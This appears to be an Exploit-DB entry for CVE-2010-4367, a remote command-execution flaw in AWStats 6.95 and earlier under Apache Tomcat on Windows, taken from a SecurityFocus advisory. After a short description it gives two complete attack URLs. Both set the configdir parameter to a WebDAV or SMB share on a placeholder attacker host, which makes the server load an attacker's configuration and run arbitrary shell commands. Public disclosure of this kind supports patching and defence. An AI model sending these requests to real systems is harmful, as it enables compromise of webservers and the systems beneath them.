Awstats 6.x Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability

2010-11-30T00:00:00
ID EDB-ID:35035
Type exploitdb
Reporter StenoPlasma
Modified 2010-11-30T00:00:00

Description

Awstats 6.x Apache Tomcat Configuration File Remote Arbitrary Command Execution Vulnerability. CVE-2010-4367 . Webapps exploit for cgi platform

                                        
                                            source: http://www.securityfocus.com/bid/45123/info

Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.

An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.

AWStats 6.95 and prior versions are vulnerable. 

Attacking Windows XP Apache Tomcat AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav

Attacking Windows 2003 or Windows XP AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share